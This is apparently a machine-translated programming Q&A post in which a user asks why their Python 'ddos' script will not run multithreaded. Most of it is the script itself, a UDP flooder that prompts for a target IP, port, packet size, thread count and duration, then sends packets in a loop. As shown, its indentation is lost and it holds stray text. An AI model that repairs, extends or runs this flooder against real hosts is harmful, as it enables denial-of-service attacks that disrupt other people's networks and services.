我正在尝试使该程序成为多线程程序,而我只是无法弄清我在做什么错:所以我制作了这个小小的“ ddos”程序,但是您却称它为程序,但是我似乎无法使其成为多线程程序。网络超过一个小时,我似乎无法修复
import socket
import time
import random
import sys
import _thread
ipadress = input('welk ip?: ')
port = int(input('welke port?: '))
bytes_size = int(input('hoeveel bytes'))
threads = int(input('hoeveel threads'))
end_time = int(input('voor hoelang bombarderen?: '))
start = time.time()
end_time = time.time() + end_time
def stress(ipadress, port):
while time.time() < end_time:`enter code here`
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bytes(bytes_size), (ipadress, port))
print('packet send')
//part whats going wrong
for x in range(0,threads):
_thread.start_new_thread (stress, (ipadress, port))